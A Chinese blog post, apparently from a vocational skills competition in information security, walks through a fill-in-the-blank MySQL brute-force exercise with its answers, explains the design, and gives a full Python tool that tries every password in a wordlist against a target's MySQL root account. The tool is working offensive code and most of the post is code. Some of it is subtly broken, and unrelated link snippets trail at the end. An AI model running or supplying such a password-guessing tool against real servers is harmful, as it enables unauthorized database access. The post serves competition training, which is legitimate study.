全国职业技能大赛信息安全管理与评估-MySQL爆破脚本
DEMO:
#coding=utf-8 import MySQLdb class MSSQL: def __init__(self,host,user,pwd):
self.host = host
self.user = user
self.pwd = pwd def connect_dp(self):
conn = MySQLdb.connect(host=self.host,port=Flag3, user=Flag4,passwd=self.pwd,db='mysql',)
cur = conn.cursor()
if not cur:
raise(NameError,"failed connect to sql server")
else:
return self.pwd def main():
fp = open('/root/superdic.txt','r')
for password in fp.readlines():
try:
a = MSSQL(host=Flag1,user='root',pwd=Flag2)
ms = a.connect_dp()
print password.strip()
except:
pass
if not s:
print 'brute failed'
fp.close()
if __name__ == '__main__':
main()
#Flag1 = "127.0.0.1"
#Flag2 = password.strip()
#Flag3 = 3306
#Flag4 = self.user
分析赛题:
赛题主要是考察了类的传参和读写文件时候的去除换行符
代码是分析赛题后构思实现, 因为是自己想到哪写到那,哪里不会百度哪里,就出了一堆BUG~~MMP
函数:
0.printBanner()打印出banenr信息 没什么卵用
1.sqlConnect()核心函数,使用pymysql库连接mysql数据库,这里需要注意下端口是int,还有一点是使用connect函数的时候,如果要指定端口,最好写成host=szhost,port=szport,这种=号的传参方式
mysql密码错误抛出的异常是
pymysql.err.OperationalError: (1045, "Access denied for user 'root'@'192.168.64.130' (using password:YES)")
我用了 "1045" in "抛出的异常" 来判断是否是密码错误,绝对不能直接except出去,因为这个函数会抛出很多异常,比如端口连接失败.连接成功后我执行了一条sql语句用来查询数据库的版本 对~这条语句也会抛出异常 但是这个我没有except~毕竟是个玩具写的老累了.我换了另一种方式,只要是1045错误的异常我都判断成密码认证错误,如果是其他的异常就完整打印出来信息,如果说用户体验什么的话·的确一堆乱七八糟的异常信息会让人很不舒服,但~这是个玩具~~~这样我查错就更方便了..
2.connectTest()连接mysql之前首先判断端口是否能连接
代码逻辑:
参数检查:
0.检查-i和-d后是否带参数 False=》exit() print(help) True=> 去 1
1.检查-p后是否带参数,False=》使用默认的3306端口 True =》使用指定的端口
2.使用connectTest函数检查目标端口是否开放 False =》exit() print("端口未开放") True => 去3
3.检查字典文件是否存在 False=》exit() print("字典文件无法打开") True=>去4
4.打开字典文件
5.用for in 递归字典文件代码每一行 赋值给另一个变量 这个变量作为密码传进sqlconnect函数
#!/usr/bin/python3 import pymysql
import os
import optparse
import socket
import sys
import time
import threading
count = 0
def printBanner():
banner = '''
_____ _ _ ____ _ __ __ ____ ______ ___ _
| ___| | | |/ ___| |/ / | \/ \ \ / / ___| / _ \| |
| |_ | | | | | | ' /_____| |\/| |\ V /\___ \| | | | |
| _| | |_| | |___| . \_____| | | | | | ___) | |_| | |___
|_| \___/ \____|_|\_\ |_| |_| |_| |____/ \__\_\_____|
v1.0 R4bbit'''
print("\033[0;31m"+banner+"\033[0m");
def connectTest(host,port):
socket.setdefaulttimeout(0.1)
ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ser.connect((host,port)) #链接成功 记得close()
print("[+] Target Port:%d" % port)
time.sleep(1)
print("[3]..........");
time.sleep(1)
print("[2]..........");
time.sleep(1)
print("[1]..........");
ser.close();
return True;
except Exception as e:
print("目标端口无法访问");
# print("Error"+str(e));
return False; def sqlConnect(szhost,szport,szpassword): #链接默认的数据库名Mysql
global count
count += 1
sql = "select version();"
try:
db = pymysql.connect(host=szhost,port=szport,user="root",password=szpassword,db="mysql")
cursor = db.cursor() #获取mysql游标
if cursor:
#print("\n")
cursor.execute(sql)
mysql_ver = cursor.fetchone();
szStr = "Password is:"+"\033[0;31m"+szpassword+"\033[0m"
print("\r"+szStr)
print("MysqlVersion():\033[01;31m%s\033[0m" %(mysql_ver))
exit()
# cursor.execute(sql);
except Exception as e:
#1045 密码错误 去匹配这个1045
if "" in str(e):
print("\r[%d]:%s" % (count,szpassword),end=".");
else:
print("[-] Error %s" % str(e)); def main():
printBanner();
parser = optparse.OptionParser("Usage -i <ip> -p <port> -d <dict_file>");
parser.add_option('-i',dest='ip',type='string',help = 'ip no')
parser.add_option('-p',dest ='port',type = 'string',help = 'port no')
parser.add_option('-d',dest='dict_file',type='string',help = 'no dict')
(options,arg) = parser.parse_args()
if(options.ip == None) | (options.dict_file == None):
print(parser.usage)
exit()
mysql_ip = options.ip;
if(options.port == None): #如果没有给出端口 默认就是3306
mysql_port = 3306;
print("[+] Use Default Mysql Port:%d" % mysql_port)
else:
mysql_port = int(options.port)
print("[+] Use Mysql Port:%d" % mysql_port)
mysql_dict = options.dict_file;
print("[+] Use DictFile:%s" % mysql_dict)
#判断目标端口是否开放
time.sleep(2);
if connectTest(mysql_ip,mysql_port):
if not os.path.exists(mysql_dict):
print("[-] %s字典文件 无法访问" % mysql_dict)
exit(1)
fp = open(mysql_dict,"r")
for mysql_pass in fp.readlines():
sqlConnect(mysql_ip,mysql_port,mysql_pass.strip()) if __name__ == '__main__':
main();
全国职业技能大赛信息安全管理与评估-MySQL爆破脚本的更多相关文章
- 全国职业技能大赛信息安全管理与评估-MySQL弱口令利用
MySQL读文件 #coding=utf-8 import MySQLdb host = '172.16.1.' for i in range(129,131): tag = host+str(i) ...
- 全国职业技能大赛信息安全管理与评估-第三阶段-弱口令自动爆破+读取Flag脚本
自动爆破SSH弱口令+读取Flag #coding=utf-8 import paramiko sshc = paramiko.SSHClient() sshc.set_missing_host_ke ...
- 全国职业技能大赛信息安全管理与评估-一些细节tips
Base64加解密: ubuntu@VM-0-5-ubuntu:~$ echo iloveyou | base64aWxvdmV5b3UKubuntu@VM-0-5-ubuntu:~$ echo aW ...
- 关于[神州数码信息安全DCN杯/信息安全管理与评估]的一些经验之谈
前阵子参加了神州数码的比赛,赛后有如下经验分享,给还没参加过的朋友分享一下心德以及要注意的坑. 先科普一下这个比赛的三个阶段: 第一阶段主要是考网络部分的,例如搭建wifi以及防火墙诸如此类的设备. ...
- 深圳即将启动首届「全国人工智能大赛」:超过 500 万大奖 & 政府资助,潜信息你读懂了吗!
人工智能加速“视频/视觉”发展,近期,深圳市即将迎来人工智能领域权威赛事之一——首届「全国人工智能大赛」(The First National Artificial Intelligence Chal ...
- ISO27001信息安全管理体系
0x00 前言 初入甲方,刚开始接触的应该就是ISO27001信息安全管理体系,你拿到的应该就是一整套安全管理类的文档.在甲方,稍微有点规模的公司很注重制度和流程,岗位职责分工明细,那么这些安全管理制 ...
- NISP二级笔记(一) 信息安全管理
ISO27001 信息安全管理体系要求 ISO27002 信息安全控制措施(实用规则) ISO27003 信息安全管理体系实施指南 ISO27004 信息安全管理测量 ISO27005 信息安全风险管 ...
- (java)Jsoup爬虫学习--获取智联招聘(老网站)的全国java职位信息,爬取10页
Jsoup爬虫学习--获取智联招聘(老网站)的全国java职位信息,爬取10页,输出 职位名称*****公司名称*****职位月薪*****工作地点*****发布日期 import java.io.I ...
- 怎么启用apache的mod_log_sql模块将所有的访问信息直接记录在mysql中
怎么启用apache的mod_log_sql模块将所有的访问信息直接记录在mysql中
随机推荐
- “代码量统计脚本”
概述 本文从一段统计C/C++程序脚本入手,记录shell脚本常用和重要的知识点. 代码量统计程序 文件名称,count_code_line.sh 12345678910111213141516171 ...
- 致歉Note7用户后,三星要还给世界下一个机皇
1月23日,三星电子在韩国首尔公布了Note7事件原因调查结果.此次认定过程精密而繁琐,最终结果发布距离三星宣布全球召回Note7已经有3个月. 相比事发之初各路信息甚嚣尘上,现在虽然还不能说已经 ...
- Python2.7错误处理FileNotFoundError报错NameError: name 'FileNotFoundError' is not defined
错误信息如下: 原因是FileNotFoundError是python3.0中的写法,而Python2.7中应写为IOError.
- CSS——NO.6(盒模型)
*/ * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:text.cpp * 作者:常轩 * 微信公众号:Worldhe ...
- C++走向远洋——41(深复制体验,3,)
*/ * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:text.cpp * 作者:常轩 * 微信公众号:Worldhe ...
- iMX287A嵌入式Qt环境搭建
目录 1.嵌入式Qt简介 2.查看开发板Qt库的版本 3.第一个嵌入式Qt程序--Hello World 4.Linux桌面版本Qt环境的搭建 5.注意 @ 1.嵌入式Qt简介 Qt 是一个跨平台的应 ...
- PHP时区转换(默认中国时区<Asia/Shanghai>转意大利时区<Europe/Rome>)
<?php function changeTimeZone($date_time, $format = 'Y-m-d H:i:s', $to = 'Europe/Rome', $from = ' ...
- Pycharm IDE安装及注册激活笔记(1)
一.Windows 下的安装及激活. 1.首先去Pycharm官网,或者直接输入网址:http://www.jetbrains.com/pycharm/download/#section=window ...
- 桌面运维之Windows快捷键,每一个工程师都是“快捷键”的工程师!
1.win快捷键 首先教大家win7新增的3D效果: Win + Tab 快速切换已打开的程序(和Alt+tab一样的效果) Win + Home 将所有使用中窗口以外的窗口最小化 Win + Spa ...
- js中所有函数的参数(按值和按引用)都是按值传递的,怎么理解?
我觉着我可能对这块有点误解,所以单独开个博说下自己的理解,当然是研究后的正解了. 1,参数传递是基本类型,看个例子: function addTen(num){ num += 10; return n ...